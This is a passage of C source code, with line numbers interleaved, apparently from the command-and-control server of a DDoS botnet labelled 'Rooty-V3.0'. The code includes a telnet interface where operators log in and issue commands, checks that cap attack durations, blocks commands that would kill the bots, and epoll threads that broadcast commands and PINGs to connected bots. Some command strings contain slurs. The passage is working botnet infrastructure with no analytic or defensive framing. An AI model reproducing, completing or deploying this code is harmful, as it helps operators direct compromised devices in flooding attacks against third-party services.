		if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
660
		if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
661
		if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
662
		if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
663
		if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
664
		if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
665
		if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
666
        if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
667
		if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
668
		pthread_create(&title, NULL, &titleWriter, sock);
669
        managements[thefd].connected = 1;
670
     	}
671
        if(strstr(buf, "LOGOUT")) 
672
	    {  
673
 		  sprintf(botnet, "Peace Mr %s\r\n", accounts[find_line].username, buf);
674
		  if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
675
		  goto end;
676
		} // if someone tries to send a attack above 200O SEC it will kick them off  :)
677
		if(strstr(buf, "3601")) 
678
		{  
679
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
680
		FILE *logFile;
681
        logFile = fopen("TIME.log", "a");
682
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
683
        fclose(logFile);
684
		goto end;
685
        } // max time
686
     	if(strstr(buf, "9999")) 
687
		{  
688
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
689
		FILE *logFile;
690
        logFile = fopen("TIME.log", "a");
691
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
692
        fclose(logFile);
693
		goto end;
694
        } // max time
695
		if(strstr(buf, "99999")) 
696
		{  
697
		printf("ATTEMPT TO SEND ME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
698
		FILE *logFile;
699
        logFile = fopen("TIME.log", "a");
700
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
701
        fclose(logFile);
702
		goto end;
703
        } // max time
704
		if(strstr(buf, "3601")) 
705
		{  
706
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
707
		FILE *logFile;
708
        logFile = fopen("TIME.log", "a");
709
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
710
        fclose(logFile);
711
		goto end;
712
        } // max time
713
      	if(strstr(buf, "3601")) 
714
		{  
715
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
716
		FILE *logFile;
717
        logFile = fopen("TIME.log", "a");
718
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
719
        fclose(logFile);
720
		goto end;
721
        } // max time
722
		if(strstr(buf, "3601")) 
723
		{  
724
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
725
		FILE *logFile;
726
        logFile = fopen("TIME.log", "a");
727
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
728
        fclose(logFile);
729
		goto end;
730
        }
731
		if(strstr(buf, "3601")) 
732
		{  
733
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
734
		FILE *logFile;
735
        logFile = fopen("TIME.log", "a");
736
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
737
        fclose(logFile);
738
		goto end;
739
        } // max time
740
    	if(strstr(buf, "3601")) 
741
		{  
742
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
743
		FILE *logFile;
744
        logFile = fopen("TIME.log", "a");
745
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
746
        fclose(logFile);
747
		goto end;
748
        } // max time
749
	    if(strstr(buf, "3601")) 
750
		{  
751
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
752
		FILE *logFile;
753
        logFile = fopen("TIME.log", "a");
754
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
755
        fclose(logFile);
756
		goto end;
757
        } // max time
758
	    if(strstr(buf, "3601")) 
759
		{  
760
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
761
		FILE *logFile;
762
        logFile = fopen("TIME.log", "a");
763
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
764
        fclose(logFile);
765
		goto end;
766
        } // max time
767
	    if(strstr(buf, "999999999999999")) 
768
		{  
769
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
770
		FILE *logFile;
771
        logFile = fopen("TIME.log", "a");
772
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
773
        fclose(logFile);
774
		goto end;
775
        }
776
	    if(strstr(buf, "LOLNOGTFO")) 
777
		{  
778
		printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
779
		FILE *logFile;
780
        logFile = fopen("KILL.log", "a");
781
        fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
782
        fclose(logFile);
783
		goto end;
784
        }
785
	    if(strstr(buf, "GTFOFAG")) 
786
		{  
787
		printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
788
		FILE *logFile;
789
        logFile = fopen("KILL.log", "a");
790
        fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
791
        fclose(logFile);
792
		goto end;
793
				}
794
     			trim(buf);
795
                if(send(thefd, "\x1b[1;32m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
796
                if(strlen(buf) == 0) continue;
797
                printf("%s: \"%s\"\n",accounts[find_line].username, buf);
798
                FILE *logFile;
799
                logFile = fopen("report.log", "a");
800
                fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].username, buf);
801
                fclose(logFile);
802
                broadcast(buf, thefd, usernamez);
803
                memset(buf, 0, 2048);
804
        }
805
 
806
        end:    // cleanup dead socketgive 
807
                managements[thefd].connected = 0;
808
                close(thefd);
809
                OperatorsConnected--;
810
}
811
void *telnetListener(int port)
812
{
813
        int sockfd, newsockfd;
814
        socklen_t clilen;
815
        struct sockaddr_in serv_addr, cli_addr;
816
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
817
        if (sockfd < 0) perror("ERROR opening socket");
818
        bzero((char *) &serv_addr, sizeof(serv_addr));
819
        serv_addr.sin_family = AF_INET;
820
        serv_addr.sin_addr.s_addr = INADDR_ANY;
821
        serv_addr.sin_port = htons(port);
822
        if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
823
        listen(sockfd,5);
824
        clilen = sizeof(cli_addr);
825
        while(1)
826
        {       printf("New BOTNET Connection From: ");
827
                client_addr(cli_addr);
828
                FILE *logFile;
829
                logFile = fopen("Connections.log", "a");
830
                fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
831
                fclose(logFile);
832
                newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
833
                if (newsockfd < 0) perror("ERROR on accept");
834
                pthread_t thread;
835
                pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
836
        }
837
}
838
 
839
int main (int argc, char *argv[], void *sock)
840
{
841
        signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
842
        int s, threads, port;
843
        struct epoll_event event;
844
        if (argc != 4)
845
        {
846
                fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
847
                exit (EXIT_FAILURE);
848
        }
849
		port = atoi(argv[3]);
850
		printf("\x1b[36mThe net has been screened you may now connect\n");
851
        telFD = fopen("bots.txt", "a+");
852
        threads = atoi(argv[2]);
853
        listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
854
        if (listenFD == -1) abort ();
855
        s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
856
        if (s == -1) abort ();
857
        s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
858
        if (s == -1)
859
        {
860
                perror ("listen");
861
                abort ();
862
        }
863
        epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
864
        if (epollFD == -1)
865
        {
866
                perror ("epoll_create");
867
                abort ();
868
        }
869
        event.data.fd = listenFD;
870
        event.events = EPOLLIN | EPOLLET;
871
        s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
872
        if (s == -1)
873
        {
874
                perror ("epoll_ctl");
875
                abort ();
876
        }
877
        pthread_t thread[threads + 2];
878
        while(threads--)
879
        {
880
                pthread_create( &thread[threads + 2], NULL, &BotEventLoop, (void *) NULL); // make a thread to command each bot indivusernameually
881
        }
882
        pthread_create(&thread[0], NULL, &telnetListener, port);
883
        while(1)
884
        {
885
                broadcast("PING", -1, "Rooty-V3.0");
886
                sleep(60);
887
        }
888
        close (listenFD);
889
        return EXIT_SUCCESS;
890
}